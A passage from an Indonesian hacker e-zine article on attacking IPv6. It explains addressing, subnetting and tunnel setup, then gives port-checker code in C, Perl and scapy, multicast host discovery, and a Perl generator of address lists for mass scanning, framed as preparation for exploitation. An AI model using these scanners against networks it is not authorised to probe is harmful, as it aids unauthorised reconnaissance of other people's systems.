40490719-0x01-ipv6-attack

58
24 Hours A Day, 300/1200 Baud Presents... #################################################################### TOKET - Terbitan Online Kecoak Elektronik Defending the classical hackers mind since 1995 Publisher : http://www.kecoak-elektronik.net Contact : [email protected] #################################################################### Subject : Exploiting Future Internet - Defeating IPv6 Writer : Ph03n1X (return?) Contact : [email protected] Style : Unicode Transformation Format (UTF-8) --[1]-- Kecoak Elektronik License Kecoak Elektronik secara aktif mendukung Blue Ribbon Campaign. Kami akan berusaha untuk menerbitkan semua informasi yang kami anggap patut diketahui, baik dokumen teks, artikel majalah, atau surat kabar. Seluruh kredit akan diberikan kepada sang pengarang. Kecoak Elektronik tidak bertanggung jawab atas tindakan orang lain. Informasi yang disajikan di situs ini adalah untuk tujuan pendidikan dan informasionil belaka. Jika anda memutuskan untuk mengejawantahkan dalam bentuk apapun informasi yang tersimpan di situs ini, anda melakukan atas keputusan sendiri, dan tidak seorangpun selain anda bertanggung jawab atas tindakan tersebut. Dipersilahkan untuk mengambil sebagian atau seluruh dari isi artikel yang kami terbitkan dengan tetap mencantumkan kredit atas pengarang dan Kecoak Elektronik sebagai penerbit online. Artikel yang dikutip atau diambil tidak dapat dipergunakan untuk kepentingan komersil. --[2]-- Introduction Yeah, drinking till the end! Writing till the end! and the most important - hacking till the end! IPv6 merupakan protokol internet yang sudah mulai digunakan tetapi masih relatif sedikit. Pada jurnal Uninformed vol 10 HD. Moore memberikan penjelasan tentang proses exploitasi IPv6. Beberapa bagian dari tulisan ini memang mengacu pada tulisan HD Moore sebagai referensi tetapi jangan salah tulisan ini bukan versi translate dari tulisan tersebut. Sudah hampir 3 tahun saya berkenalan dengan IPv6 dan apa yang tertulis disini adalah pengalaman pribadi yang mudah mudahan bisa menjadi pelengkap referensi anda tentang IPv6. Kenapa membahas IPv6? kami di kecoak elektronik ingin mengembangkan dan mendewasakan pemahaman tentang hacking, sudah terlalu banyak referensi hacking bagi newbie di indonesia dan sudah saatnya wacana tentang hacking diperluas. We don't hack just by putting malicious URL kids. That's bloodyhell cheap! After core routing infrastructure are pwned, is this the time to bring down future internet today?!

Upload: belum-ada-judul

Post on 05-Aug-2015

30 views

Category:

Documents


1 download

TRANSCRIPT

Page 1: 40490719-0x01-Ipv6-Attack

24 Hours A Day, 300/1200 BaudPresents...

####################################################################TOKET - Terbitan Online Kecoak ElektronikDefending the classical hackers mind since 1995

Publisher : http://www.kecoak-elektronik.netContact : [email protected]####################################################################

Subject : Exploiting Future Internet - Defeating IPv6Writer : Ph03n1X (return?)Contact : [email protected] : Unicode Transformation Format (UTF-8)

--[1]-- Kecoak Elektronik License

Kecoak Elektronik secara aktif mendukung Blue Ribbon Campaign.Kami akan berusaha untuk menerbitkan semua informasi yang kami anggappatut diketahui, baik dokumen teks, artikel majalah, atau surat kabar.Seluruh kredit akan diberikan kepada sang pengarang.

Kecoak Elektronik tidak bertanggung jawab atas tindakan orang lain.Informasi yang disajikan di situs ini adalah untuk tujuan pendidikandan informasionil belaka. Jika anda memutuskan untuk mengejawantahkandalam bentuk apapun informasi yang tersimpan di situs ini, andamelakukan atas keputusan sendiri, dan tidak seorangpun selain andabertanggung jawab atas tindakan tersebut.

Dipersilahkan untuk mengambil sebagian atau seluruh dari isi artikelyang kami terbitkan dengan tetap mencantumkan kredit atas pengarangdan Kecoak Elektronik sebagai penerbit online. Artikel yang dikutipatau diambil tidak dapat dipergunakan untuk kepentingan komersil.

--[2]-- Introduction

Yeah, drinking till the end! Writing till the end! and the mostimportant - hacking till the end!

IPv6 merupakan protokol internet yang sudah mulai digunakan tetapi masihrelatif sedikit. Pada jurnal Uninformed vol 10 HD. Moore memberikanpenjelasan tentang proses exploitasi IPv6. Beberapa bagian daritulisan ini memang mengacu pada tulisan HD Moore sebagai referensitetapi jangan salah tulisan ini bukan versi translate dari tulisantersebut. Sudah hampir 3 tahun saya berkenalan dengan IPv6 dan apa yang tertulis disini adalah pengalaman pribadi yang mudah mudahan bisa menjadi pelengkap referensi anda tentang IPv6.

Kenapa membahas IPv6? kami di kecoak elektronik ingin mengembangkan danmendewasakan pemahaman tentang hacking, sudah terlalu banyak referensihacking bagi newbie di indonesia dan sudah saatnya wacana tentanghacking diperluas. We don't hack just by putting malicious URL kids. That's bloodyhell cheap! After core routing infrastructure arepwned, is this the time to bring down future internet today?!

Page 2: 40490719-0x01-Ipv6-Attack

So here we go as internet pirates, bunch of skilled people with the mostfreedomship on internet...

--[3]-- IPv6

IPv6 merupakan protokol internet masa depan yang dikenalkan oleh IETFsejak tahun 1998. Standar spesifikasi IPv6 mengacu pada draft RFC 2460. IPv6 menggunakan 128-bit hexal yang menjadikan IP versi enam inimemiliki jumlah alamat jauh lebih banyak dari IPv4 yaitu sekitar ~2^128 [i].

IPv6 header format sesuai dengan RFC 2460 [ii] bisa ditunjukkan sebagaiberikut:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| Traffic Class | Flow Label | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Payload Length | Next Header | Hop Limit | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Source Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Destination Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

keterangan:

- Version 4 bit 'version' berisi nomor versi IP = 6. - Traffic Class 8 bit 'traffic class' yang digunakan untuk mengidentifikasi prioritas paket IPv6. - Flow Label 20 bit 'flow label' digunakan untuk QoS

management. - Payload Length 16 bit 'unsigned integer' yang menunjukkan

ukuran paket. - Next Header 8 bit yang mengidentifikasi protokol

terenkapsulasi selanjutnya. - Hop Limit 8 bit 'unsigned integer' yang nilainya selalu

berkurang 1 jika melewati sebuah router. - Source Address 128 bit yang menunjukkan alamat asal paket. - Destination Address 128 bit yang menunjukkan alamat tujuan paket.

Model pengalamatan IP menggunakan IP versi 6 bisa pada tipe unicast, anycast, maupun multicast. IPv6 tidak mengenal tipe broadcast. Pengalamatan IP menggunakan IP versi 6 mengacu pada RFC 3513 [iii].Notasi penulisan IPv6 bisa dipelajari pada RFC 3513 dan tidak perlu bagi saya untuk menulis ulang pada artikel ini, tetapi saya perlumenegaskan ulang mengenai pengalokasian IPv6 yaitu:

Page 3: 40490719-0x01-Ipv6-Attack

::/128 unspecified address::1/128 loopback addressff00::/8 multicast addressfe80::/10 link-local unicastfec0::/10 site-local unicasteverything else global unicast

alamat anycast dapat diambil dari alamat unicast dan tidak bisadibedakan secara sintaks dengan alamat unicast. Pada RFC 3513 section2.7.1 disebutkan beberapa pre-defined alamat multicast. Alamat berikutpenting diketahui sebagai pengetahuan penunjang IPv6 discovery &scanning.

ff01::1 semua interface-local IPv6 hostff02::1 semua link-local IPv6 hostff05::1 semua site-local IPv6 hostff01::2 semua interface-local IPv6 routerff02::2 semua link-local IPv6 routerff02::5 semua site-local IPv6 router

Pengetahuan penting lain mengenai IPv6 adalah tentang bagaimanamelakukan perhitungan subnetting. Penjelasan mengenai perhitungan inidapat ditemui pada dokumen technet microsoft [iv]. Silakan rekan-rekanmengacu pada dokumen tersebut dan mengikuti uraian langkah menghitungsubnet pada IPv6. Untuk memperjelas contoh perhitungan subnet IPv6,berikut saya contohkan sebuah perhitungan lagi.

Sebuah jaringan IPv6 2406:a000:f0ff:4000::/50 ingin dibagi lagi dengan4-bit subnetting maka berdasar rumusan pada dokumen technet microsoftdiperoleh:

2406:a000:f0ff:4000::<------------>48-bit

Untuk mendapatkan nilai F, yang harus dilakukan adalah meng AND kanalamat IPv6 dengan prefixnya dalam bentuk biner. Misalnya untuk blokIPv6 di atas adalah:

IPv6 2406:a000:f0ff:0100000000000000::50-bit ffff:ffff:ffff:1100000000000000::

<------------->48-bit

AND 2406:a000:f0ff:0100000000000000::Network 2406:a000:f0ff:0100000000000000::

nilai F adalah hasil AND dari alamat IPv6 dengan prefix pada bit ke-49sampai bit ke-64 yaitu 100000000000000 atau 0x4000 dalam hexal.

F=0x4000, s=4, m=50, dan f= m-48 <=> 50-48=2Jumlah subnet n=2^s <=> 2^4 = 16Increment i=2^(16-(f+s)) <=> 2^(16-(2+4))=1024=0x400Prefix baru P=m+s <=> 50+4 = 54

maka ke-16 subnet tersebut adalah:2406:a000:f0ff:4000::/54 2406:a000:f0ff:6000::/542406:a000:f0ff:4400::/54 2406:a000:f0ff:6400::/542406:a000:f0ff:4800::/54 2406:a000:f0ff:6800::/542406:a000:f0ff:4c00::/54 2406:a000:f0ff:6c00::/54

Page 4: 40490719-0x01-Ipv6-Attack

2406:a000:f0ff:5000::/54 2406:a000:f0ff:7000::/542406:a000:f0ff:5400::/54 2406:a000:f0ff:7400::/542406:a000:f0ff:5800::/54 2406:a000:f0ff:7800::/542406:a000:f0ff:5c00::/54 2406:a000:f0ff:7c00::/54

Ada beberapa website yang menyediakan kalkulasi subnetting IPv6 yaitu:http://www.liquidalchemy.comhttp://www.subnetonline.com

--[4]-- Connecting to IPv6 Backbone

IPv6 saat ini belum banyak digunakan oleh internet provider, sehinggaagar kita tersambung ke jaringan backbone IPv6 butuh sebuah trik. Trikini memanfaatkan tunneling IPv6 pada IPv4. Saat ini sudah banyak sekalipenyedia tunnel IPv6-in-IPv4 gratis di internet. Beberapa diantaranyabisa dilihat di wikipedia [v] mengenai IPv6 tunnel broker.

IPv6 tunnel broker menyediakan jasa tunneling IPv6-in-IPv4 yang bisa dikonfigurasi melalui website atau dengan memanfaatkan Tunnel SetupProtocol (TSP). Konfigurasi melalui website bisa dilakukan melaluiwebsite yang disediakan oleh tunnel broker, sedangkan konfigurasimenggunakan TSP biasanya membutuhkan aplikasi client yang disediakanoleh tunnel broker. Pada percobaan ini saya mengunakan tunnel brokerhttp://gogonet.gogo6.com/. Silakan lakukan pendaftaran dan downloadaplikasi TSP client yang disediakanhttp://gogonet.gogo6.com/page/download-1. Saya mendownload aplikasiclient dalam bentuk source code karena kompatibilitasnya dengan linux.

Ekstrak file tersebut dengan menggunakan perintah 'tar xvfgw6c-6_0-RELEASE-src.tar' selanjutnya bacalah file INSTALL padadirektori hasil ekstrak tersebut sebagai petunjuk installasi. Secarasederhana proses installasinya adalah:

make allmake installdir=/usr/local/gw6c install

Jalankan aplikasi TSP client dengan perintah:

/usr/local/gw6c/bin/gw6c > /dev/null 2>&1

Jika semua proses sudah dilewati, lakukan pengecekan konfigurasiinterface jaringan dengan perintah 'ifconfig'. Jika semua proses yangdilalui sudah benar, maka akan muncul interface baru yaitu interfacetunnel IPv6-in-IPv4.

sit1 Link encap:IPv6-in-IPv4 inet6 addr: fe80::7660:54ab/64 Scope:Link inet6 addr: fe80::a01:1fe/64 Scope:Link inet6 addr: 2406:a000:f0ff:ffff:8000:0:7660:54ab/128

Scope:Global UP POINTOPOINT RUNNING NOARP MTU:1280 Metric:1 RX packets:1679 errors:0 dropped:0 overruns:0 frame:0 TX packets:1893 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:104852 (104.8 KB) TX bytes:169828 (169.8 KB)

Dari pemeriksaan 'ifconfig' diketahui bahwa alamat IPv6 komputer sayaadalah 2406:a000:f0ff:ffff:8000:0:7660:54ab/128. Untuk memastikan bahwakomputer sudah tersambung ke jaringan backbone IPv6 bisa dilakukan

Page 5: 40490719-0x01-Ipv6-Attack

dengan menggunakan utility 'ping6','dig', dan/atau 'traceroute6'.

root@h4x0r:/usr/local/gw6c/bin# ping6 -c 3 www.jp.freebsd.orgPING www.jp.freebsd.org(updraft3.jp.FreeBSD.org) 56 data bytes64 bytes from updraft3.jp.FreeBSD.org: icmp_seq=1 ttl=52 time=400 ms64 bytes from updraft3.jp.FreeBSD.org: icmp_seq=2 ttl=52 time=398 ms64 bytes from updraft3.jp.FreeBSD.org: icmp_seq=3 ttl=52 time=397 ms

--- www.jp.freebsd.org ping statistics ---3 packets transmitted, 3 received, 0% packet loss, time 2005msrtt min/avg/max/mdev = 397.841/399.162/400.799/1.331 msroot@h4x0r:/usr/local/gw6c/bin# ping6 -c 3 ipv6.internode.on.netPING ipv6.internode.on.net(2001:44b8:8020:f501:250:56ff:feb3:6633) 56 data bytes64 bytes from 2001:44b8:8020:f501:250:56ff:feb3:6633: icmp_seq=1 ttl=55 time=331 ms64 bytes from 2001:44b8:8020:f501:250:56ff:feb3:6633: icmp_seq=2 ttl=55 time=297 ms64 bytes from 2001:44b8:8020:f501:250:56ff:feb3:6633: icmp_seq=3 ttl=55 time=301 ms

--- ipv6.internode.on.net ping statistics ---3 packets transmitted, 3 received, 0% packet loss, time 2007msrtt min/avg/max/mdev = 297.454/310.367/331.792/15.269 msroot@h4x0r:/usr/local/gw6c/bin# dig -t AAAA www.jp.freebsd.org

; <<>> DiG 9.5.0-P2 <<>> -t AAAA www.jp.freebsd.org;; global options: printcmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4116;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 1

;; QUESTION SECTION:;www.jp.freebsd.org. IN AAAA

;; ANSWER SECTION:www.jp.freebsd.org. 3456 IN AAAA2001:2f0:104:1:2e0:18ff:fea8:16f5

;; AUTHORITY SECTION:jp.freebsd.org. 3456 IN NS castle.jp.freebsd.org.jp.freebsd.org. 3456 IN NS ns3.imgsrc.co.jp.jp.freebsd.org. 3456 IN NS asuka.jp.freebsd.org.

;; ADDITIONAL SECTION:ns3.imgsrc.co.jp. 3456 IN A 202.235.195.4

;; Query time: 0 msec;; SERVER: 10.1.1.1#53(10.1.1.1);; WHEN: Tue Dec 22 09:13:12 2009;; MSG SIZE rcvd: 151

root@h4x0r:/usr/local/gw6c/bin# traceroute6 ipv6.internode.on.nettraceroute to ipv6.internode.on.net(2001:44b8:8020:f501:250:56ff:feb3:6633) from 2406:a000:f0ff:ffff:8000:0:7660:54ab, 30 hops max, 16 byte packets 1 2406:a000:f0ff:ffff:8000:1:7660:54ab (2406:a000:f0ff:ffff:8000:1: 7660:54ab) 286.841 ms 275.478 ms 277.258 ms 2 2406:a000:ffff:ffff::1 (2406:a000:ffff:ffff::1) 273.892 ms 273.738 ms 272.925 ms

Page 6: 40490719-0x01-Ipv6-Attack

3 as4826.ipv6.sydney.pipenetworks.com (2001:7fa:b::8) 273.914 ms 273.593 ms 271.722 ms 4 ge-0-2-4.cor02.syd03.nsw.VOCUS.net.au (2402:7800:0:1::69) 272.919 ms 275.04 ms 275.163 ms 5 ge-0-0-0.bdr02.syd03.nsw.VOCUS.net.au (2402:7800:0:1::46) 276.974 ms 274.226 ms 276.413 ms 6 g7-3-0-127.bdr1.syd6.internode.on.net (2001:44b8:b060:4::4739:1) 274.2 ms 277.026 ms 277.866 ms 7 pos7-0.bdr2.adl2.internode.on.net (2001:44b8:8020:9::2) 294.186 ms 297.256 ms 296.546 ms 8 gi1-9.cor1.adl6.internode.on.net (2001:44b8:8060:f::2) 294.378 ms 295.075 ms 296.833 ms 9 te2-1.rtr2.adl6.internode.on.net (2001:44b8:8060:8::2) 294.598 ms 295.085 ms 296.596 ms10 2001:44b8:8020:f501:250:56ff:feb3:6633 (2001:44b8:8020:f501:250: 56ff:feb3:6633) 296.049 ms 293.678 ms 293.927 msroot@h4x0r:/usr/local/gw6c/bin#

Oke, connected to IPv6 network! Let's start to explore the futureinternet today.

--[5]-- An Introduction to IPv6 Socket Programming

Kenapa sih pemrograman socket perlu dibahas di artikel ini? Saat sayabereksplorasi dengan IPv6 banyak sekali kasus dimana kita harus mengkodetools agar sesuai keinginan kita. Tools publik untuk IPv6 saat ini masihmemiliki banyak keterbatasan.

Definisi socket berdasar RFC 793 [vi] adalah pasangan alamat IP dan nomorport, sehingga socket IPv6 adalah pasangan alamat IPv6 dan nomor portservice tertentu. Socket sendiri ada dua buah tipe yaitu:

- stream socket, misalnya digunakan pada TCP- datagram socket, misalnya digunakan pada UDP

Pemrograman socket pada IPv6 memiliki perbedaan dibandingkan denganpemrograman socket pada IPv4. Perbedaan ini akan terlihat jelas jikarekan rekan membaca file header pemrograman bahasa C. Referensi lengkappemrograman socket IPv6 bisa diperoleh pada dokumen RFC 3493[vii].

Seperti pada pembahasan yang lain mengenai perkenalan dengan socketprogramming yang selalu mencontohkan aplikasi client server, tulisan inijuga menggunakan pendekatan yang sama. Pembuatan socket pada IPv6 untukaplikasi server dan client mengikuti urutan berikut: [viii]

> Server- socket() digunakan untuk membuat file deskripsi socket.- bind() digunakan untuk binding alamat interface pada socket.- listen() digunakan untuk menunggu adanya koneksi.- accept() digunakan untuk menerima koneksi.- read() or write() pada TCP digunakan untuk menerima dan mengirim data.- recvfrom() or sendto() pada UDP digunakan untuk menerima dan mengirim data.

> Client- socket() digunakan untuk mebuat file deskripsi socket.- connect() digunakan untuk koneksi ke server.- read() or write() pada TCP digunakan untuk menerima dan mengirim data.- recvfrom() or sendto() pada UDP digunakan untuk menerima dan mengirim

Page 7: 40490719-0x01-Ipv6-Attack

data.

Jika dilihat sepintas lalu urutan pembuatan socket pada IPv6 dan IPv4adalah sama, yang membedakan adalah parameter socket interface, strukturdata alamat IPv6, dan beberapa fungsi berikut:

-------------------------------------------------| IPv4 | IPv6 |-------------------------------------------------| AF_INET | AF_INET6 |-------------------------------------------------| in_addr | in6_addr |-------------------------------------------------| scokaddr_in | sockaddr_in6 |-------------------------------------------------| inet_aton() | inet_pton() * || inet_addr() | |-------------------------------------------------| inet_ntoa() | inet_ntop() * |-------------------------------------------------| gethostbyname() | getipnodebyname() || gethostbyaddr() | getipnodebyaddr() || | getnameinfo() * || | getaddrinfo() * |-------------------------------------------------

Lalu apa hubungan pemrograman socket dengan proses exploitasi? hampirsemua tools dan exploit remote memanfaatkan pemrograman socket. Toolsdan exploit tersebut menggunakan socket client untuk keperluan scanning,fingerprinting, enumerasi, dan exploitasi vulnerable server.

Proses pada exploitasi cenderung lebih banyak memanfaatkan socket clientdibanding socket server. Hal inilah yang mendasarai bagian berikut dariartikel ini banyak membahas socket client.

Sebagai contoh pertama, berikut ini adalah sebuah code sederhana untukmelakukan pengecekan apakah sebuah port pada IPv6 address terbuka atautertutup.

/*oport6.c*/#include <stdlib.h>#include <string.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <sys/types.h>#include <netdb.h>

/*Port Checker by Ph03n1XThis code is ripped and modified from Joonbok LeePresentation about IPv6 Socket Programming*/

int main(int argc, char *argv[]){ int s, c, retval, addrlen; struct addrinfo Hints, *AddrInfo, *AI;

if(argc!=3){ printf("Usage : %s <IPv6 address> <Port>\n", argv[0]);

Page 8: 40490719-0x01-Ipv6-Attack

exit(0); } memset(&Hints,0,sizeof(Hints)); Hints.ai_family = AF_UNSPEC; Hints.ai_socktype = SOCK_STREAM;

retval = getaddrinfo(argv[1],argv[2], &Hints, &AddrInfo); if(retval!=0){ printf("Cannot resolve requested address\n"); exit(0); }

for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if(AI->ai_family==AF_INET6){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ printf("can't create socket\n"); exit(0); } c=connect(s,AI->ai_addr,AI->ai_addrlen); if(c==0){ printf("[OPEN] %s on %s\n",argv[1],argv[2]); }else{ printf("[CLOSE/FIREWALL] %s on %s\n",argv[1],argv[2]); } }else{ printf("%s is not IPv6 family\n",argv[1]); } freeaddrinfo(AddrInfo); }}

Untuk mengkompilasi dan menggunakan potongan code C sederhana di atas,ikuti langkah berikut:

anto@h4x0r$ gcc -o oport6 oport6.canto@h4x0r$ ls -l oport6-rwxr-xr-x 1 anto anto 9314 2009-12-24 01:04 oport6anto@h4x0r$ ./oport6 fe80::200:1cff:fedc:fb66%eth0 3389[OPEN] fe80::200:1cff:fedc:fb66%eth0 on 3389anto@h4x0r$ ./oport6 fe80::200:1cff:fedc:fb66%eth0 3381[CLOSE/FIREWALL] fe80::200:1cff:fedc:fb66%eth0 on 3381anto@h4x0r$ ./oport6 2001:470:1f00:1644:3::1 22[CLOSE/FIREWALL] 2001:470:1f00:1644:3::1 on 22anto@h4x0r$ ./oport6 2001:44b8:8020:f501:250:56ff:feb3:6633 80[OPEN] 2001:44b8:8020:f501:250:56ff:feb3:6633 on 80anto@h4x0r$ ./oport6 10.1.1.1 2210.1.1.1 is not IPv6 familyanto@h4x0r$

Menggunakan bahasa C bagi saya kadang cukup merepotkan sehingga seringsekali saya menggunakan beberapa bahasa pemrograman untuk menyelesaikanberbagai masalah yang dihadapi. Pada artikel ini saya juga menggunakanscripting Perl dan Python yang sudah dilengkapi scapy. Penggunaan perluntuk menulis exploit atau scanner sangat menghemat waktu sedangkanmenggunakan scapy untuk memodifikasi packet jauh lebih mudah dibandingharus menggunakan bahasa C.

Pada scripting perl, IPv6 tidak dikembangkan pada core library sehinggatidak ada support untuk banyak core modules seperti LWP, Net::SMTP,Net::POP3, dan Net::FTP. Untuk membuat socket IPv6 pada perl dilakukan

Page 9: 40490719-0x01-Ipv6-Attack

dengan menggunakan IO::Socket::INET6 [ix].

Code C untuk pengecekan port (oport6.c) jika dikonversi ke scriptingperl hasilnya adalah sebagai berikut:

#!/usr/bin/perl# Port Checker oport6.pl coded by Ph03n1X

#cpan IO::Socket::INET6use IO::Socket::INET6;

if(!$ARGV[1]){ print $0 . " <IPv6 Address> <Port>\n"; exit;}

my $s = IO::Socket::INET6->new(PeerAddr => $ARGV[0], PeerPort => $ARGV[1], Domain => AF_INET6);if($s){ print "[OPEN] $ARGV[0] on $ARGV[1]\n";}else{ print "[CLOSE/FIREWALL] $ARGV[0] on $ARGV[1]\n";}

Untuk menggunakan script perl oport6.pl di atas adalah sebagai berikut:

anto@h4x0r$ perl oport6.pl fe80::200:1cff:fedc:fb66%eth0 3389[OPEN] fe80::200:1cff:fedc:fb66%eth0 on 3389anto@h4x0r$ perl oport6.pl fe80::200:1cff:fedc:fb66%eth0 21[CLOSE/FIREWALL] fe80::200:1cff:fedc:fb66%eth0 on 21anto@h4x0r$ perl oport6.pl 2001:44b8:8020:f501:250:56ff:feb3:6633 80[OPEN] 2001:44b8:8020:f501:250:56ff:feb3:6633 on 80anto@h4x0r$ perl oport6.pl 2001:44b8:8020:f501:250:56ff:feb3:6633 22[OPEN] 2001:44b8:8020:f501:250:56ff:feb3:6633 on 22anto@h4x0r$ perl oport6.pl 2001:44b8:8020:f501:250:56ff:feb3:6633 222[CLOSE/FIREWALL] 2001:44b8:8020:f501:250:56ff:feb3:6633 on 222anto@h4x0r$

Penggunaan perl dan C untuk keperluan modifikasi packet dan low levelpacket programming bukan sesuatu yang sederhana. Apalagipengimplementasian pada IPv6 yang merupakan protokol internet relatifbaru (cari bahan dan referensinya susah gan!). Untuk itulah sayamenggunakan python dan scapy. Berikut ini contoh sederhana port checkermenggunakan scapy.

#!/usr/bin/env python# Port Checker oport6-syn.py coded by Ph03n1X

import sysif len(sys.argv) !=3: print "Usage : python " + sys.argv[0] + " <IPv6 Address> <Port>" sys.exit(0);

#Scapy version 2 need to import from scapy.allfrom scapy.all import *p=sr1(IPv6(dst=sys.argv[1])/TCP(dport=int(sys.argv[2]),flags="S"),verbose=0,timeout=2)

#SA flags value is 0x12 or 18 in decimal

Page 10: 40490719-0x01-Ipv6-Attack

if p.flags == 18 : print "[OPEN] " + sys.argv[1] + " on " + sys.argv[2]else: print "[CLOSE/FIREWALL]" + sys.argv[1] + " on " + sys.argv[2]

Karena scapy menggunakan raw paket, maka dibutuhkan akses root untukmenjalankan script di atas yaitu sebagai berikut:

anto@h4x0r$ sudo python oport6-syn.py 2001:2f0:104:1:2e0:18ff:fea8:16f5[OPEN] 2001:2f0:104:1:2e0:18ff:fea8:16f5 on 22anto@h4x0r$ sudo python oport6-syn.py 2001:2f0:104:1:2e0:18ff:fea8:16f5[CLOSE/FIREWALL]2001:2f0:104:1:2e0:18ff:fea8:16f5 on 21anto@h4x0r$

Scapy sedikit bermasalah dengan alamat link-local (misalnya fe80::200:1cff:fedc:fb66%eth0) dan menganggapnya sebagai illegal address. Sebagai tambahan artikel di referensi [x] dan [xi] sangat baikbagi yang ingin mendalami scapy.

Setelah berkenalan dengan pemrograman socket pada IPv6, sekarang saatnyapengetahuan tersebut digunakan untuk keperluan scanning dan exploitasiprotokol internet di masa mendatang tersebut.

--[6]-- Discovery & Scanning

IPv6 tidak mengenal protokol ARP yang mengkonversi dari alamat IPmenjadi alamat MAC. Pada IPv6 dikenal adanya proses network discoverydan network solicitation. Network discovery memanfaatkan ICMPv6 untukmengetahui link-local yang aktif pada jaringan lokal. Networksolicitation diperlukan untuk menentukan apakah sebuah IPv6 sudah adapada subnet jaringan lokal.

Dengan menggunakan ICMPv6 kita bisa mengenumerasi local-link mana sajayang hidup pada jaringan lokal. IPv6 Toolkit yang dibuat oleh Van Hausermemiliki tool 'alive6' untuk keperluan enumerasi ini tetapi sayangnyatool ini tidak berjalan dengan baik pada ubuntu 8.10 yang saya gunakan.Sebagai pengganti tool ini, kita bisa mengirimkan ICMPv6 pada alamatmulticast ff02::1 yang mencapai kesemua alamat link-local pada sebuahjaringan. (HD Moore menyebutkan bahwa alamat ff02::1 adalah alamatbroadcast sedangkan saya mengacu pada RFC 3513 yang menyebutkan bahwaalamat ini adalah alamat multicast).

anto@h4x0r:~/k-elektronik$ ping6 -c 5 ff02::1%eth0 > /dev/null 2>&1anto@h4x0r:~/k-elektronik$ ip neigh|grep ^fe80fe80::200:1cff:fedc:fb66 dev eth0 lladdr 00:00:1c:dc:fb:66 REACHABLE

Pada saat saya mencoba di jaringan lokal kebetulan saya hanya menemukan1 host dengan link-local IPv6 yang aktif.

Lalu bagaimana cara menentukan IPv6 global unicast yang aktif diinternet? Cara paling sederhana adalah mengirimkan ICMPv6 ke blok prefixalamat IPv6 tertentu. Masalahnya adalah IPv6 memiliki range IP yangsangat besar sehingga menjadikan prefix sebagai acuan bukanlah idebagus. Celakanya lagi, saat ini belum ada public tools untuk melakukandiscovery & scanning IPv6 secara massive.

Ide yang terpikirkan saat penulisan artikel ini adalah dengan membuatsebuah file berisi list IPv6 yang hendak di scan. Proses ini sayalakukan dengan bantuan tool 'buildipv6.pl' yang sudah terbendle pada

Page 11: 40490719-0x01-Ipv6-Attack

ipv6-hackit pada direktori 'ipv6-hackit/perl/'.

#!/usr/bin/perl# buildipv6.pl is provided by Ph03n1X# Really nasty code but work :)

use strict;use warnings;

sub str2hex(){#Sub routine str2hexmy($bit) = @_;my ($bitlo,$bithi);if($bit =~ /-/){ my @atbit=split('-',$bit); if(hex($atbit[0]) > hex($atbit[1])){ print "ERR! Hexal value at right of \'-\' must be higher than at left\n"; exit; } $bitlo = $atbit[0]; $bithi = $atbit[1]; }else{ $bitlo= $bit; $bithi= $bit; } return($bitlo,$bithi);} #End of sub routine str2hex

#Routine mainif(!$ARGV[0]){ print "USAGE:\n"; print "perl $0 <IPv6 Address Range> [<interface>]\n"; print ""; print "Ex=> perl $0 2046:f0af-f0ff:0a0a:c000-c010:0:0:0:0\n"; print "Ex=> perl $0 fe80:0:0:0:201:6cff:fe9e:e6ab-e6ff\n\n";

print "ATTENTION!\n"; print "1. You have to enter all 128-bit and can not use \'::\'\n"; print "2. Hexal value at right of \'-\' must be higher than at left\n"; print "3. If you play with reserved IPv6 - be sure you know what you do\n"; print "4. Read RFC 3513 to make sure you know what you do\n"; print "This code doesn\'t handle all error caused by not following this!\n"; exit;}

my $iface;if(!$ARGV[1]){ $iface="%eth0";}else{ $iface="%" . $ARGV[1];}

my ($c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8);open(IPv6,">ipv6.out");

my @allbit = split(':',$ARGV[0]);if (scalar(@allbit) !=8){ print "ERR! You have to enter all 128-bit and can not use \'::\'\n";

Page 12: 40490719-0x01-Ipv6-Attack

exit;}

my $bit1 = $allbit[0];my $bit2 = $allbit[1];my $bit3 = $allbit[2];my $bit4 = $allbit[3];my $bit5 = $allbit[4];my $bit6 = $allbit[5];my $bit7 = $allbit[6];my $bit8 = $allbit[7];

my ($bit1lo,$bit1hi) = &str2hex($bit1);my ($bit2lo,$bit2hi) = &str2hex($bit2);my ($bit3lo,$bit3hi) = &str2hex($bit3);my ($bit4lo,$bit4hi) = &str2hex($bit4);my ($bit5lo,$bit5hi) = &str2hex($bit5);my ($bit6lo,$bit6hi) = &str2hex($bit6);my ($bit7lo,$bit7hi) = &str2hex($bit7);my ($bit8lo,$bit8hi) = &str2hex($bit8);

for($c1=hex($bit1lo);$c1<=hex($bit1hi);$c1++){ for($c2=hex($bit2lo);$c2<=hex($bit2hi);$c2++){ for($c3=hex($bit3lo);$c3<=hex($bit3hi);$c3++){ for($c4=hex($bit4lo);$c4<=hex($bit4hi);$c4++){ for($c5=hex($bit5lo);$c5<=hex($bit5hi);$c5++){ for($c6=hex($bit6lo);$c6<=hex($bit6hi);$c6++){ for($c7=hex($bit7lo);$c7<=hex($bit7hi);$c7++){ for($c8=hex($bit8lo);$c8<=hex($bit8hi);$c8++){

if($c1==65152){ printf ("%X:%X:%X:%X:%X:%X:%X:%X%s\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8,$

iface); printf (IPv6 "%X:%X:%X:%X:%X:%X:%X:%X%s\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,

